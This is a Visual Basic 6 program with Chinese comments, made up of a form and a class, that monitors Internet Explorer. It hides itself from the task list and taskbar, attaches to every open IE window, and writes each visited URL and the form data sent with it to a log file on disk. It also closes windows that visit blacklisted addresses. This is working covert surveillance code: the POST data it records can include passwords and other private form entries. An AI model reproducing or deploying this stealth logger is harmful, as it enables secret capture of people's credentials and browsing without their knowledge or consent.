' 窗体部分的代码(Form1.frm)
Option Explicit
Dim IE() As InternetExplorer
Dim C1() As Class1 ' Class1 是自定义的类
Dim Doc
Private Declare Function RegisterServiceProcess Lib "kernel32" _
(ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Sub Form_Load()
Dim tmp As Long
' 为了能自我隐藏,除了Visible属性和ShowInTaskbar属性均设为 False外,
' 还需将IE监控程序的名称从 CTRL+ALT+DEL 列表中清除
tmp = RegisterServiceProcess(ByVal 0&, 1)
Text1.Text = ""
Timer1.Interval = 60000 ' 定时扫描新的IE窗口
Timer1_Timer
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim i As Integer
Dim SWs As New ShellWindows ' Windows级所有活动窗口的集合
ReDim IE(SWs.Count) As InternetExplorer ' 根据窗口数目来动态定义
ReDim C1(SWs.Count) As Class1
If Len(Text1.Text) > 0 Then
Open "C:\WebLog.Sys" For Append As #1 ' 日志存盘
Print #1, Text1.Text
Text1.Text = ""
Close #1
End If
Text1 = vbCrLf + "***当前的 Web窗口为:(" + Str(Date) + " " _
+ Str(Time) + ")" + vbCrLf
For i = 0 To SWs.Count - 1
Set IE(i) = SWs.Item(i)
Set Doc = IE(i).Document
If TypeName(Doc) = "HTMLDocument" Then ' 判断是否为IE窗口
Text1 = Text1 + Doc.Title + vbCrLf
Set C1(i) = New Class1
C1(i).Begin IE(i) ' 启动对该IE窗口的监控
End If
Next
Text1 = Text1 + "==>所有访问的URL 以及向 Web服务器发送的数据为:" _
+ vbCrLf
End Sub
' 自定义类的代码(Class1.cls)
Option Explicit
Dim WithEvents TheIE As InternetExplorer
Public Sub Begin(IE1 As InternetExplorer) ' 类的初始化
Set TheIE = IE1
End Sub
Private Sub TheIE_BeforeNavigate2(ByVal pDisp As Object, URL As Variant, _
Flags As Variant, TargetFrameName As Variant, PostData As Variant, _
Headers As Variant, Cancel As Boolean)
Dim tmp As String
tmp = PostData
' 将网址和上传的数据记入日志
Form1.Text1 = Form1.Text1 + Str(Time) + " " + Str(Date) + " " _
+ URL + IIf(Len(tmp) > 0, " : " + tmp, "") + vbCrLf
' 黑名单的示例
If InStr(UCase(URL), "WWW.KOMPASS.COM") > 0 Or _ ' 网址
InStr(UCase(URL), "193.106.8.235") > 0 Then ' IP地址
' 将陷入黑名单的警告记入日志
Form1.Text1 = Form1.Text1 + "!!! URL in Black Box !!!" + vbCrLf
TheIE.Quit ' 立即关闭当前IE窗口
End If
End Sub